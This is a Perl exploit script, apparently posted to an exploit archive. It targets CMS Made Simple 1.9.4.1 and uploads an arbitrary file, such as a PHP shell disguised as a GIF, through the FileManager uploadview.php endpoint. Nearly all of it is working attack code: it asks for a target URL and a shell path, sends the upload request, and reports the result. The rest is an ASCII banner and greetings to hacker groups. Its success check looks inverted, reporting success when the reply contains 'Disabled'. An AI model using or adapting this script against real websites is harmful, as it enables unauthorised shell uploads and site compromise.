CMS Made Simple 1.9.4.1 Shell Upload

`#!/usr/bin/perl  
sub logo {  
print STDERR << "EOF";  
  
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0  
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 1  
0 [+] Site : 1337day.com 0  
1 [+] Support e-mail : submit[at]1337day.com 1  
0 0  
1 ######################################### 1  
0 I'm KedAns-Dz member from Inj3ct0r Team 1  
1 ######################################### 0  
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1  
  
EOF  
}  
###  
# Title : CMS Made Simple <= 1.9.4.1 Arbitrary Remote File Upload  
# Author : KedAns-Dz  
# E-mail : [email protected] | [email protected]  
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)  
# Twitter page : twitter.com/kedans  
# platform : php  
# Impact : File Upload Vulnerability (via PERL)  
# Tested on : Windows XP sp3 FR & Linux.(Ubuntu 10.10) En  
###  
system ("title KedAns-Dz");  
system ("color 1e");  
system ("cls");  
use strict;  
use warnings;  
use LWP::UserAgent;  
use HTTP::Request::Common;  
print <<INTRO;  
|===================================================|  
|= CMS MadeSimple <= 1.9.4.1 Arbitrary File Upload |  
|= >> Provided By KedAns-Dz << |  
|= e-mail : ked-h[at]hotmail.com |  
|===================================================|  
INTRO  
print "\n";  
print "[!] Enter URL(f.e: http://target.com): ";  
chomp(my $url=<STDIN>);  
print "\n";  
print "[!] Enter File Path (f.e: C:\\Shell.php.gif): "; # File Path For Upload (usage : C:\\Sh3ll.php.gif)  
chomp(my $file=<STDIN>);  
my $ua = LWP::UserAgent->new;  
my $re = $ua->request(POST $url.'/modules/FileManager/uploadview.php',  
Content_Type => 'multipart/form-data',  
Content =>   
[   
actions => 'upload',  
NewFile => $file,  
] );  
print "\n";  
if($re->is_success) {  
if( index($re->content, "Disabled") != -1 ) { print "[+] Exploit Successfull! File Uploaded!\n"; }  
else { print "[-] File Upload Is Disabled! Failed!\n"; }  
} else { print "[-] HTTP request Failed!\n"; }  
exit;  
  
#================[ Exploited By KedAns-Dz * HST-Dz * ]===========================================   
# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS >  
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com)   
# Inj3ct0r Members 31337 : Indoushka * KnocKout * eXeSoul * eidelweiss * SeeMe * XroGuE * agix *  
# gunslinger_ * Sn!pEr.S!Te * ZoRLu * anT!-Tr0J4n 'www.1337day.com/team' ++ ....   
# Exploit-Id Team : jos_ali_joe + kaMtiEz + r3m1ck (exploit-id.com) * TreX (hotturks.org)   
# JaGo-Dz (sec4ever.com) * KelvinX (kelvinx.net) * PaCketStorm Team (www.packetstormsecurity.org)  
# www.metasploit.com * www.securityreason.com * All Security and Exploits Webs ...  
#================================================================================================  
`